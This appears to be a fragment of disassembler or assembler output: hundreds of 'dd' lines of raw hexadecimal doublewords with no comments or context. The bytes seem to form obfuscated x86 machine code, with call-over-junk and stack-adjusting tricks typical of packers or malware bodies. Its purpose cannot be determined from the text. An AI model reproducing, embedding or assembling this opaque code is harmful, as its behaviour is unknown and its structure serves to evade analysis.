		dd 48961F1h, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 5578CB04h, 34E5628Bh, 7E957C5h, 0D2000000h
		dd 1AEFE4BBh, 0E95F609Dh, 413h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 8AC35343h, 61C781E4h, 0B046C6FCh
		dd 958D8900h, 8B062C21h, 2C2181BDh, 6A70E606h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 89DFC357h, 2C217DBDh, 0F71E406h, 6BAD8B6h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 12C7C353h, 0E6F253C8h, 11E95053h,	32000000h
		dd 0EC8B5FA3h, 0B6814288h, 0F483733h, 91155164h, 0B501C38Bh
		dd 62C0F39h, 6A04E8C1h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 706DC356h, 66F4E522h
		dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 6AF1E5C3h, 2BA806C0h, 0D78166D8h,	0F50E378h
		dd 58Dh, 7573BF00h, 1C89523Bh, 57006A24h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 9589F1CAh
		dd 62C0F25h, 6FAABE66h,	1E15B5FFh, 0B589062Ch, 62C1CA5h
		dd 26B195FFh, 9D29062Ch, 62C2139h, 0FE900B0h, 7B000000h
		dd 6BEEAF67h, 58BF30F1h, 2299CF0Dh, 70E692F4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 56C35545h, 432DF07Ch
		dd 29BD335Fh, 0E4062C07h, 0FBBF0F71h, 830F613Ch, 28Bh
		dd 0FF6BF0Fh, 6AD8B6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 9CEBCDC3h, 3735834Bh, 6BAh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 319271DFh, 97D5B567h, 6AC38Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0E8C1E9C3h, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 10E9D8CCh, 0E5000000h, 80CC5743h, 1732B8A1h,	0E4914A1Dh
		dd 66A9DA9Dh, 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0F1E435C3h, 0A0EA385Bh, 8B0Fh, 0D82B0000h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 10C35040h
		dd 1AF36EC5h, 86E98D9h,	0C9BD3375h, 58062C09h, 2BFB8B66h
		dd 84880FD8h, 8B000001h, 2C1545B5h, 7B906h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 4EFD92C3h, 94028A0Fh, 66364C97h, 0F53E88BFh,	8B00C183h
		dd 2C14B9BDh, 0FD93B06h, 13E86h, 88A0F00h, 53000000h, 820Fh
		dd 665F0000h, 0DE8D98Ch, 5B000000h, 3A2FEAE1h, 6043E021h
		dd 0F2CC6942h, 6830Fh, 0B5290000h, 62C1AADh, 8585895Eh
		dd 0F6062C26h, 840F04C1h, 0CBh,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0FEC35040h,	850F3488h, 2, 5F52F88Bh
		dd 29E995FFh, 6A062Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 9654CCC3h, 54A1049Ch, 13840FD5h
		dd 0E9000000h, 0Eh, 0C4775074h,	0C0BDDFE7h, 55625BD3h
		dd 665BD4CDh, 0C32BF38Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0D3C35545h, 69CE2E0Eh, 538A6860h, 3D5FF28Bh
		dd 834h, 29860Fh, 13E90000h, 14000000h,	850AD131h, 0B40530F7h
		dd 9149ED74h, 68747169h, 0B58B002Eh, 62C1571h, 3AE9h, 6DBD8B00h
		dd 8B062C2Ah, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0D7E19ED4h, 0C870FB8h, 0F000000h
		dd 683h, 49BD8B00h, 8B062C00h, 0FD88BC3h, 98Dh,	38C0F00h
		dd 66000000h, 85C7FE8Bh, 62C240Dh, 30AB37F5h, 2B61B503h
		dd 0C08B062Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0CEC35141h, 0BD00F74h, 818E4D4Eh, 2C1E15BDh, 7D006h
		dd 20850F00h, 60000000h, 1199B531h, 958B062Ch, 62C33E1h
		dd 1585FF61h, 0F062C1Eh, 684h, 89B58900h, 0FF062C0Bh, 2C1E15B5h
		dd 39853106h, 0FF062C0Fh, 2C26B195h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 8D39F0Ch, 11BD8B90h
		dd 8B062C23h, 2C2435BDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0B5B06591h, 1AC02E28h
		dd 8D9D89F5h, 0F062C21h, 0B589F7B7h, 62C115Dh, 23EDB58Bh
		dd 8960062Ch, 2C1FD585h, 61C28B06h, 0A799D29h, 6A062Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 976B14C3h, 0D8D9DAEDh, 0E8F08B66h, 9, 0C110FF90h, 0EC04399Ch
		dd 38F0F33h, 0F000000h,	605FFEB7h, 7E92AB0h, 0A000000h
		dd 2B5B7A78h, 10E867A7h, 79000000h, 91DAF572h, 0F6D18554h
		dd 0E06BAF6Ah, 5683F32Dh, 29615B5Ah, 2C10AD95h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 98B989DAh, 0FE8h, 0A07A0700h, 6653DC3Ah, 0EC8EE32Ch
		dd 0CD2C38FDh, 48F0Fh, 0BE660000h, 895FC8C9h, 2C33DD8Dh
		dd 0F7C5E906h, 6AFFFFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 8D8B4EC3h, 66C18BA1h, 4EBF98Bh
		dd 0
		dd 8E9h, 95649300h, 0EBDC32C7h,	0ED8D894Dh, 8D062C1Fh
		dd 2C32A585h, 90F98B06h, 108EBF66h, 7ABE6650h, 0BD23906Fh
		dd 62C0CE9h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 669B3AC3h, 0E8E206BFh, 7, 0CA64B211h
		dd 0FC788360h, 6A006A5Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 89E1C352h, 2C1FC99Dh
		dd 9E806h, 0EDB90000h, 397D517Ch, 0E91E85BBh, 8, 1A1B3274h
		dd 81A04771h, 40858D5Fh, 0E8063002h, 0Ah, 0C6C35FABh, 0B0EED2B7h
		dd 8D898C44h, 62C0761h,	0EDB5315Fh, 83062C25h, 9D8905C0h
		dd 62C2421h, 89F88B50h,	6A2404h, 6E9F5h, 61340000h, 630B7343h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0AC225C3h, 0BD334FA8h, 62C110Dh, 239D95FFh
		dd 6A062Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0EC93DBC3h, 0F106ED0h, 683h, 75B50300h, 8D062C20h
		dd 2FA0429Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 71C66537h, 39B58B5Bh, 0FF062C15h
		dd 3DB52BD3h, 0FF062C2Bh, 2C1A6985h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 5AB1BCA5h
		dd 0E68166E6h, 8AE9BFD4h, 0E8000008h, 0
		dd 4AED815Dh, 0E9063002h, 10h, 0D47B91CBh, 0EC3A5081h
		dd 0D4807909h, 0EFFDCD74h, 1E15BD81h, 7D0062Ch,	860F0000h
		dd 181h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 15h,	0C5C35242h, 499D8B17h, 6A062C1Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B93C357h
		dd 2C1D69B5h, 81F88B06h, 100E3h, 0F9B70F00h, 850FDB0Bh
		dd 0BCh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 18h,	0CBC35646h, 468DAD2h, 29099589h, 0BD83062Ch, 63000A6h
		dd 29840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 249C357h, 0F7B70F91h
		dd 8BE9h, 0F8BF0F00h, 0A685C7h,	10630h,	60500000h, 73D78166h
		dd 8E0F4Ch, 61000000h, 15BD315Eh, 0E9062C15h, 64h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 95C35242h, 0CC864EE2h
		dd 0D5941881h, 850F51D0h, 6, 25E18D89h,	0F5E062Ch, 386h
		dd 0FB8B6600h, 0A685C7h, 630h, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 47B3B8C3h
		dd 1A499D8Dh, 6A062Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0DFFBF4C3h, 0F187461h, 182h, 2381F800h
		dd 0FFFFFEFFh, 19B59501h, 820F062Ch, 5,	1C591EBEh, 0DB8C6623h
		dd 0E2C78166h, 4C3F6CCh, 5F840Fh, 81660000h, 0FF5A2EDEh
		dd 2C29E995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 75E8480Ah, 0C4935377h, 0ADB52BF3h
		dd 8B062C2Bh, 2C3125BDh, 5F529006h, 90F28B50h, 4478BF66h
		dd 0EE8h, 0B1032600h, 0ABB93A57h, 67D87023h, 660B38E2h
		dd 9A7AD681h, 47AE95Eh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0ADCEAAC3h, 7592CD73h
		dd 0E9630529h, 6, 17A91476h, 0B00FFAh, 6A70E6h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 1CDE30C3h, 0D89D029Dh, 0DE9D60Ah, 0DA000000h, 9764C566h
		dd 8A21041Ch, 212B184h,	6A71E4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 7E1644C3h, 0FA8B1000h
		dd 6AD8B60Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0E809C355h, 0CABEBB3Ch, 4CF2282h
		dd 13E9h, 11350D00h, 0D188F173h, 0D89D623h, 0D303E876h
		dd 0CA5410ECh, 6BAh, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0B9BD8BF5h, 66062C33h
		dd 0C38BF18Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	11C35343h, 9D17B2E2h, 45F5FF1Bh, 68E0F60h, 89000000h
		dd 2C045585h, 0DE906h, 0D9E10000h, 3B3AC915h, 64B6C89Fh
		dd 615E2F8Eh, 23958D89h, 8157062Ch, 0EE22FECFh,	0E8C15F39h
		dd 0CE904h, 65B50000h, 4552DA5Ch, 58632CE6h, 0F766AD31h
		dd 85B52BE2h, 2B062C0Ch, 51006AD8h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0A31633E7h, 93AEA823h
		dd 50F08B66h, 52506060h, 585A310Fh, 27B4BE66h, 8B936161h
		dd 2C0631B5h, 0B1B53106h, 0FF062C0Ch, 2C1E15B5h, 4DADBF06h
		dd 95FF7740h, 62C26B1h,	12800Fh, 0E9600000h, 0Ah, 0E6A3EBEAh
		dd 4FD94B22h, 61F51907h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8B52E1C3h, 2C3441BDh
		dd 81665E06h, 0E60AF5D7h, 0C58D0970h, 89062C1Dh, 2C006D95h
		dd 6A71E406h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0ED43C351h, 0F05AF32Eh, 0B6579D3Bh
		dd 3CF0B70Fh, 39830F61h, 0F000002h, 289h, 0FF88B00h, 0F28BD8B6h
		dd 6BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 3AD8ED5Dh, 7A235A4h, 0F98B1C32h
		dd 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0DDBCF1C3h, 81F875DBh, 8B2EE38Ch,	2C0561B5h
		dd 0EE816606h, 0E8C1BDDEh, 60BF6604h, 0E2F76626h, 0D82BF98Bh
		dd 0CE9h, 25907A00h, 971527E0h,	315638E7h, 6A58E3h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0D82BA7C3h, 18A880Fh, 9E90000h, 0C000000h, 0DFF6ACEAh
		dd 0B1F19AF2h, 7B9h, 0C18300h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0EDC35545h,	0F6B429Ah, 1680h
		dd 0AE800h, 31E30000h, 41BB85C6h, 7A66F9C4h, 2C219D89h
		dd 15E062Ch, 2C2C518Dh,	0FD93B06h, 12B86h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0FE705974h, 31FE3488h, 2C0DD18Dh, 0D98C6606h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 78C35545h, 60C32B57h
		dd 840FDF8Bh, 6, 1B1D858Bh, 0F661062Ch,	840F04C1h, 0B1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 19C35040h
		dd 66DDF04Ch, 0FF2A0CBFh, 2C29E995h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 792D36D0h
		dd 5B8B1C2Ch, 920063BEh, 6AC32B45h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 4F3CC352h
		dd 258C6340h, 1DBD3164h, 60062C0Ah, 81CFBF0Fh, 2B7D9F7h
		dd 343D6100h, 0F000008h, 2086h,	0B5096000h, 62C1659h, 80E76AB8h
		dd 25E96101h, 0E9000000h, 9, 2857BF55h,	68D09620h, 0E9C08BDAh
		dd 10h,	7F66A4BDh, 11C49959h, 7193AEECh, 80959FFEh, 0D88BC38Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0DEC35747h
		dd 0FA8BE4C6h, 1AF185C7h, 4531062Ch, 6A1B96h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 97AD6C3h
		dd 1EE65CFh, 0E6814698h, 1F031A3Dh, 0B70FC08Bh,	15BD81FEh
		dd 0D0062C1Eh, 0F000007h, 1B85h, 31BD8B00h, 0FF062C19h
		dd 2C1E1585h, 3840F06h,	66000000h, 0B58BFB8Bh, 62C22FDh
		dd 1E15B5FFh, 6A062Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0B70FA7C3h, 0B195FFFFh, 9062C26h
		dd 2C1C5DB5h, 5F519006h, 0B85B589h, 6A062Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F4DFA8C3h
		dd 0DF8C1DB9h, 0CE976C8h, 1000000h, 2CAAEDA7h, 44DB8667h
		dd 8B38EBC9h, 52006AFEh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 91F6961Eh, 0A3069DF8h, 8BF6BF0Fh
		dd 2C0F11B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 7338FA16h, 89EB316Eh, 2C21E5B5h
		dd 0E9B58B06h, 8B062C1Ch, 53CF81F3h, 815853A0h,	359F7CDFh
		dd 29B58939h
		dd 6A062C23h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0E85FC355h, 0E9866D22h, 14h, 4E959582h
		dd 10D96277h, 3A8E095Bh, 0A2770E3Ah, 8EA13EC1h,	1C29BD8Bh
		dd 44BE062Ch, 8B158D11h, 2C1A65B5h, 0AFCE8106h,	0F7CD114h
		dd 8Dh,	0F79DE900h, 6AFFFFh, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 190424h, 56460000h, 894B72C3h, 8BF5ED68h
		dd 2C09B1B5h, 6AC18B06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 34AC351h, 32169075h
		dd 0EBF59AF5h, 4, 31B58B00h, 89062C02h,	2C1E698Dh, 0A5858D06h
		dd 6A062C32h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0FB32C357h, 0DC215EADh, 6D9D89A0h
		dd 50062C04h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0AF9C351h, 9373CB3Dh
		dd 6A006AE4h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0E244C355h, 6A006AA7h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0C109C353h, 4444285Bh, 0A5B50B20h, 8D062C11h, 300C8F85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0C376969Eh, 0BF0FE68Fh, 49BD89F3h, 83062C12h
		dd 8F0F05C0h, 8, 0DCEE8151h, 5E6FBCEFh,	24048950h, 0C780F781h
		dd 6A6BDFh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Dh,	0ACC35646h, 0DC187931h,	213033C9h, 0DBD89FEh, 6A062C22h
		dd 98D8900h, 0FF062C24h, 2C239D95h, 0F9B58906h,	89062C05h
		dd 2C1AA99Dh, 429D8D06h, 81062FA0h, 718D31CFh, 6AD3FF75h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0C76AC353h, 0FF8169C1h, 2C1A6985h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 230F5D8Bh, 0CA325DF4h, 844E9EEh, 0E80000h, 5D000000h
		dd 0C99ED81h, 6A0630h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 656A04C3h, 66A3159Bh, 687EF681h
		dd 1E15BD81h, 7D0062Ch,	860F0000h, 126h, 34719501h, 9D8B062Ch
		dd 62C04EDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0A9C35545h, 0E927F27Ah,	0Ch, 0B7D9A354h, 64D857EFh
		dd 40FD0478h, 0E381F28Bh, 100h,	850FDB0Bh, 74h,	419D0956h
		dd 5E062C1Dh, 0AF7BD83h, 0F000630h, 3584h, 2D952900h, 0E9062C0Dh
		dd 65h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch
		dd 0E2C35141h, 5937CAF5h, 8C334521h, 2345BD8Bh,	85C7062Ch
		dd 6300AF7h, 1,	0E19BD8Bh, 26E9062Ch, 0E9000000h, 10h
		dd 7E7FC7Ah, 4B0675A1h,	43BB4F5Dh, 9879B14Dh, 0AF785C7h
		dd 630h, 0BF530000h, 5A1C3016h,	0ED9D8D5Eh, 6A062C04h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0F00C355h, 8Dh, 0FF238100h, 6AFFFFFEh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 6C3BC353h, 0FF8284Eh, 188h, 8C66F900h, 53006ADBh, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 95099125h, 62C1545h,	0F04C3F6h, 4084h, 0E995FF00h, 6A062C29h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0A7AAC351h, 850F508Ch, 3,	89FB8B66h, 0F602404h
		dd 280h, 66616000h, 40EBE781h, 459E961h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 4CA1CCC3h, 8589AB98h, 62C21B9h, 6A00B0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD8B76C3h
		dd 62C1149h, 1DB19D31h,	70E6062Ch, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 12C35242h, 0AA0CE4BAh, 0E1B533B5h
		dd 0E4062C28h, 56006A71h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 37C740D3h, 66D8B60Fh
		dd 0BABB31BFh, 6, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0BEC35545h, 0C38BE50Dh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 5C35545h, 73E3BFC1h, 0BE6657ABh
		dd 0C15EC300h, 8D8904E8h, 62C13C5h, 8BE2F766h, 2C3105B5h
		dd 6AD82B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 950DC357h, 8D0816F6h, 8B032DB0h
		dd 2C3485BDh, 8B669306h, 525050FEh, 10E9310Fh, 0C4000000h
		dd 9F99820Bh, 4062446h,	21847A73h, 5A91750Ah, 6A9358h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 4268E8C3h, 41B50BA1h, 2B062C2Ah, 2C2D15BDh, 15B5FF06h
		dd 81062C1Eh, 0B13476F7h, 0B195FF0Eh, 9062C26h,	2C07899Dh
		dd 6A00B006h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 8B18C350h, 30907F67h, 606B7504h
		dd 7E8h, 0A14A4D00h, 0B37DD362h, 78D7E281h, 895E3220h
		dd 2C197195h, 70E66106h, 6ADB58Bh, 71E4062Ch, 7E9h, 69B1DD00h
		dd 0AA53E051h, 2045B58Bh, 613C062Ch, 265830Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8B7D00C3h, 2C23C9BDh, 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0BCC35545h,	0F9B503EFh, 0E9062C0Fh
		dd 11h,	206F21A3h, 0F1A71D7h, 2AA38FA6h, 2DCAEB33h, 6BA85h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0E95F96C3h, 13h, 0A9FEF3F2h, 5BAA12A9h, 333754FBh
		dd 30AC0C66h, 8B32D0A0h, 0E8C1F8C3h, 2DBD8B04h,	66062C26h
		dd 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BE666BC3h, 0D82BE7EAh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0A2C35242h,	0F958C78Ah, 880FD82Bh
		dd 173h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0E0C35545h, 0F622137Fh,	0BEC66B85h, 6ACBEF68h
		dd 7B9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 83669F79h, 6A00C1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0AE67C4C3h
		dd 0E8D98AD4h, 16BF66ECh, 9EBE6666h, 0FD93B6Dh,	0F286h
		dd 0D9B58B00h, 66062C0Dh, 0BD89D98Ch, 62C0B15h,	0F04C1F6h
		dd 0B684h, 95016000h, 62C115Dh,	8E8h, 63214F00h, 17D3BC7Fh
		dd 61BD3374h, 58062C2Ch, 0E995FF61h, 0E9062C29h, 14h, 0E71EC012h
		dd 4286EC89h, 0A010B81Fh, 257CC1F0h, 0E6F55614h, 2BFA8B5Bh
		dd 57006AC3h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h
		dd 0DD2FA3C2h, 693759Ch, 8343D49h, 860F0000h, 47h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 51C35545h, 48EBB9FAh
		dd 45E9E3h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 0BD657CC3h, 8BA8689Eh, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0B5BD8B90h, 8B062C19h, 6AD88BC3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0A1B5C351h
		dd 0B58B39DBh, 62C0551h, 85C75F53h, 62C1A49h, 1AECAB33h
		dd 0EDB52B51h, 5F062C1Fh, 0B529C08Bh, 62C25B9h,	1E15BD81h
		dd 7D0062Ch, 850F0000h,	12h, 0C3D9589h,	85FF062Ch, 62C1E15h
		dd 1D559529h, 0B5FF062Ch, 62C1E15h, 1DE1BD8Bh, 95FF062Ch
		dd 62C26B1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0FDC35747h, 8B4AECCDh, 0EF8166FAh, 0FC9080A6h
		dd 8BF6B70Fh, 2C0ED9B5h, 25B58B06h, 8B062C1Dh, 9589FCF0h
		dd 62C05D5h, 0FE9BD8Bh,	6A062Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0E3D8ECC3h, 4DB58BDAh
		dd 6A062C1Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 6636C355h, 1496CF81h, 0C59589h
		dd 0B70F062Ch, 51006AFBh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0B06591CDh, 68F0FB5h
		dd 81000000h, 0FDBEEEEEh, 89F18B4Ch, 2C33C98Dh,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 4F3D263Bh, 0EAA4411Bh, 0E9F8B70Fh, 11h, 0A81E9B98h
		dd 85261303h, 0C55F5DDBh, 5A413953h, 6670BF16h,	0BE66405Eh
		dd 6A4497h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0DDE585C3h, 0E343514Ah, 0E9516C57h, 12h
		dd 5E1664BEh, 47397114h, 3DF268B8h, 50FFD0A3h, 0F5EB5A8h
		dd 0C86h, 859D8900h, 8B062C31h,	2C30D9B5h, 0F7F0E906h
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0B2A24EC3h, 0AE80D3D7h, 21A1BD8Bh, 0B58B062Ch
		dd 62C1CF5h, 2269B50Bh,	0C18B062Ch, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 2FC35343h, 0EC99B16Dh, 0A0744976h
		dd 2ACE8134h, 0EB36694Eh, 4, 0E9BD0900h, 0F062C30h, 5BEF8BFh
		dd 8D70216Eh, 2C32A585h, 0FE806h, 0BFA80000h, 0DBBEDA80h
		dd 62DC1B9Ch, 0AEBA7C40h, 81665FF1h, 508FF8EFh,	6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0ADFDC351h, 9589006Ah, 62C2101h, 8166006Ah
		dd 8D048CEEh, 3016D985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 896DC286h, 2C256595h
		dd 0FA8B6606h, 0F05C083h, 68Bh,	8FCE8100h, 605A784Dh, 9061FB8Bh
		dd 65BF5250h, 0F029617h, 0F28B6631h, 0F50585Ah,	48Eh, 22BE6600h
		dd 6A90F7h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 89780DC3h, 2C15F18Dh, 0E9006A06h,	0Ch, 93689F9Bh
		dd 0F4FD108Bh, 0B8881287h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B3978C3h
		dd 2C1DD5BDh, 35B58B06h, 0FF062C00h, 2C239D95h,	32D78106h
		dd 8B16021Eh, 429D8DFEh, 6A062FA0h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6850C352h
		dd 0B523675Ah, 62C21DDh, 6870Fh, 0BD8B0000h, 62C0149h
		dd 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 5FA69FC3h, 24A71294h, 0E9E97E91h,	0Eh, 4F5F07B5h
		dd 0F9D7782Dh, 6929C187h, 85FF2079h, 62C1A69h, 0E850006Ah
